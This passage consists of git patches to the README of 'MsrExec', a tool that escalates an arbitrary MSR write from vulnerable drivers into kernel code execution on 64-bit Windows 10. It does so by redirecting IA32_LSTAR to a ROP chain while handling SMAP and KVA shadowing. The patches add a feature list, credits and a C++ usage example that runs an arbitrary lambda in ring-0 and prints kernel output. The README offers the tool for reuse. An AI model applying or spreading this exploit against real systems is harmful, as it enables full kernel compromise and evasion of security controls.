drivers which exposed arbitrary WRMSR/helped test with KVA shadowing enabled/disabled. -* [@namazso](https://twitter.com/namazso) - originally hinting at this project many months ago. its finally done :) - # MsrExec - Elevate Arbitrary WRMSR To Kernel Execution @@ -75,6 +68,13 @@ pop r10 ; restore r10... ret ``` +# Credit - Special Thanks + +* [@drew](https://twitter.com/drewbervisor) - pointing out AC bit in RFLAGS can be set in usermode. I originally assumed since the `STAC` instruction could not be executed in usermode that `POPFQ` would throw an exception if AC bit was high and CPL was greater then zero. Without this key information the project would have been a complete mess. Thank you! +* [@0xnemi](https://twitter.com/0xnemi) / [@everdox](https://twitter.com/nickeverdox) - [mov ss/pop ss exploit](https://www.youtube.com/watch?v=iU_No7gdcwc) 0xnemi's use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR and effectivlly replicate his solution... +* [@Ch3rn0byl](https://twitter.com/notCh3rn0byl) - donation of a few vulnerable drivers which exposed arbitrary WRMSR/helped test with KVA shadowing enabled/disabled. +* [@namazso](https://twitter.com/namazso) - originally hinting at this project many months ago. its finally done :) + # Lisence TL;DR: if you use this project, rehost it, put it on github, include `_xeroxz` in your release. From 6970e5c5a518408b9406dd3af67de922aec01276 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:05:29 +0000 Subject: [PATCH 19/27] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 0bcdaaa..f0c9081 100644 --- a/README.md +++ b/README.md @@ -68,6 +68,8 @@ pop r10 ; restore r10... ret ``` + + # Credit - Special Thanks * [@drew](https://twitter.com/drewbervisor) - pointing out AC bit in RFLAGS can be set in usermode. I originally assumed since the `STAC` instruction could not be executed in usermode that `POPFQ` would throw an exception if AC bit was high and CPL was greater then zero. Without this key information the project would have been a complete mess. Thank you! From ca2e5786ebaf926db747a1b316c6dac0e580987e Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:09:00 +0000 Subject: [PATCH 20/27] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index f0c9081..94f5cbd 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,14 @@ msrexec is a small project that can be used to elevate arbitrary MSR writes to kernel execution on 64 bit Windows-10 systems. This project is part of the VDM (vulnerable driver manipulation) namespace and can be integrated into any prior VDM projects. Although this project falls under the VDM namespace, Voyager and bluepill can be used to provide arbitrary wrmsr writes. +#### Features + +* integration with VDM +* integration with Voyager and bluepill +* Use any vulnerable driver which exposes arbitrary WRMSR to obtain kernel exeuction +* Works under KVA shadowing (you will still need to run as admin however to load the driver, LSTAR points to KiSystemCall64Shadow though...) +* WARNING: does not work under most anti virus hypervisors or HVCI systems... + # Syscall - Fast System Call SYSCALL invokes an OS system-call handler at privilege level 0. It does so by ***loading RIP from the IA32_LSTAR MSR*** (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) From b4f4d9be7c70941b6b8606b17aaab9351822d3e0 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:09:50 +0000 Subject: [PATCH 21/27] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 94f5cbd..377b9d0 100644 --- a/README.md +++ b/README.md @@ -9,9 +9,9 @@ and can be integrated into any prior VDM projects. Although this project falls u * integration with VDM * integration with Voyager and bluepill -* Use any vulnerable driver which exposes arbitrary WRMSR to obtain kernel exeuction -* Works under KVA shadowing (you will still need to run as admin however to load the driver, LSTAR points to KiSystemCall64Shadow though...) * WARNING: does not work under most anti virus hypervisors or HVCI systems... +* Use any vulnerable driver which exposes arbitrary WRMSR to obtain kernel exeuction +* Works under KVA shadowing (you will still need to run as admin however to load the driver, LSTAR points to KiSystemCall64Shadow though and that is taken into consideration...) # Syscall - Fast System Call From 721153b2c83e42a81b54cb4a3b58064d66787980 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:15:43 +0000 Subject: [PATCH 22/27] Update README.md --- README.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/README.md b/README.md index 377b9d0..2f140f9 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,25 @@ and can be integrated into any prior VDM projects. Although this project falls u * Use any vulnerable driver which exposes arbitrary WRMSR to obtain kernel exeuction * Works under KVA shadowing (you will still need to run as admin however to load the driver, LSTAR points to KiSystemCall64Shadow though and that is taken into consideration...) +# Example - Usage/Demo + +In order to create a `vdm::msrexec_ctx` you must first create a lambda which will be passed to the constructor. The lambda must be a wrapper function which will +in turn, be used internally by the class to write to MSR's. In my example im simply forwarding the call to a predefined routine in vdm.hpp. + +```cpp +writemsr_t _write_msr = + [&](std::uint32_t reg, std::uintptr_t value) -> bool +{ + // put your code here to write MSR.... + // the code is defined in vdm::writemsr for me... + return vdm::writemsr(reg, value); +}; +``` + +Once you have a lambda defined like this you can go ahead and create a `vdm::msrexec_ctx`. The lambda you pass to `vdm::msrexec_ctx::exec` will be executed in ring-0. Please note that you should be very aware of what you are calling in this lambda as to not make any printfs, malloc's, std::vector::push_back, or anything that might syscall. Also note that the lambda you pass must be of type `std::function`. + + + # Syscall - Fast System Call SYSCALL invokes an OS system-call handler at privilege level 0. It does so by ***loading RIP from the IA32_LSTAR MSR*** (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) From 405c3336535fa52029a3df5cc0f7771a93cc10d5 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:16:23 +0000 Subject: [PATCH 23/27] Update README.md --- README.md | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2f140f9..e51143b 100644 --- a/README.md +++ b/README.md @@ -19,8 +19,7 @@ In order to create a `vdm::msrexec_ctx` you must first create a lambda which wil in turn, be used internally by the class to write to MSR's. In my example im simply forwarding the call to a predefined routine in vdm.hpp. ```cpp -writemsr_t _write_msr = - [&](std::uint32_t reg, std::uintptr_t value) -> bool +writemsr_t _write_msr = [&](std::uint32_t reg, std::uintptr_t value) -> bool { // put your code here to write MSR.... // the code is defined in vdm::writemsr for me... @@ -30,7 +29,23 @@ writemsr_t _write_msr = Once you have a lambda defined like this you can go ahead and create a `vdm::msrexec_ctx`. The lambda you pass to `vdm::msrexec_ctx::exec` will be executed in ring-0. Please note that you should be very aware of what you are calling in this lambda as to not make any printfs, malloc's, std::vector::push_back, or anything that might syscall. Also note that the lambda you pass must be of type `std::function`. - +```cpp +vdm::msrexec_ctx msrexec(_write_msr); +msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void +{ + const auto dbg_print = + reinterpret_cast( + get_kroutine(krnl_base, "DbgPrint")); + + const auto ex_alloc_pool = + reinterpret_cast( + get_kroutine(krnl_base, "ExAllocatePool")); + + dbg_print("> allocated pool -> 0x%p\n", ex_alloc_pool(NULL, 0x1000)); + dbg_print("> cr4 -> 0x%p\n", __readcr4()); + dbg_print("> hello world!\n"); +}); +``` # Syscall - Fast System Call From e0cccd61783867cfecdeda601190dd39ab1bfb41 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:19:43 +0000 Subject: [PATCH 24/27] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index e51143b..fdbfc81 100644 --- a/README.md +++ b/README.md @@ -118,6 +118,7 @@ ret * [@0xnemi](https://twitter.com/0xnemi) / [@everdox](https://twitter.com/nickeverdox) - [mov ss/pop ss exploit](https://www.youtube.com/watch?v=iU_No7gdcwc) 0xnemi's use of syscall and the fact that RSP is not changed + use of ROP made me think about how there are alot of vulnerable drivers that expose arbitrary wrmsr which could be used to change LSTAR and effectivlly replicate his solution... * [@Ch3rn0byl](https://twitter.com/notCh3rn0byl) - donation of a few vulnerable drivers which exposed arbitrary WRMSR/helped test with KVA shadowing enabled/disabled. * [@namazso](https://twitter.com/namazso) - originally hinting at this project many months ago. its finally done :) +* [@btbd](https://github.com/btbd) - pointing out that LSTAR points to KiSystemCall64Shadow and not KiSystemCall64 when KVA shadowing is enabled, reguardless of AddressPolicy... # Lisence From e279fab5004697d2016f5d4314b8eb563b255cca Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:29:21 +0000 Subject: [PATCH 25/27] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index fdbfc81..34202e0 100644 --- a/README.md +++ b/README.md @@ -47,6 +47,14 @@ msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void }); ``` +Result: + +``` +> allocated pool -> 0xFFFFAA8B13AD1000 +> cr4 -> 0x0000000000020678 +> hello world! +``` + # Syscall - Fast System Call SYSCALL invokes an OS system-call handler at privilege level 0. It does so by ***loading RIP from the IA32_LSTAR MSR*** (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) From ee10d591e683ab82db2ec68cb90265a0cc089e93 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 22:50:30 +0000 Subject: [PATCH 26/27] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 34202e0..9f11494 100644 --- a/README.md +++ b/README.md @@ -92,7 +92,7 @@ push rax changing IA32_LSTAR to a ROP chain as described above will work just fine on CPU's that done support SMAP. Windows 10 will use SMAP if your CPU supports it. This means RSP is unaccessable since it is a user controlled page. -### SMAP - Supervisor Mode Access Prevention +### SMAP - Supervisor Mode Access Prevention (Win10 19H1 and up...) SMAP or Supervisor Mode Access Prevention is a CPU protection which prevents accessing data controlled by a higher CPL. In other words, if SMAP is set in CR4, a logical processor executing kernel code cannot access usermode controlled pages (user supervisor). From dd9789a181a4944365b26c0b77b843fedb2335c9 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 23:03:56 +0000 Subject: [PATCH 27/27] License... spelled it wrong... --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9f11494..07964a2 100644 --- a/README.md +++ b/README.md @@ -128,7 +128,7 @@ ret * [@namazso](https://twitter.com/namazso) - originally hinting at this project many months ago. its finally done :) * [@btbd](https://github.com/btbd) - pointing out that LSTAR points to KiSystemCall64Shadow and not KiSystemCall64 when KVA shadowing is enabled, reguardless of AddressPolicy... -# Lisence +# License TL;DR: if you use this project, rehost it, put it on github, include `_xeroxz` in your release.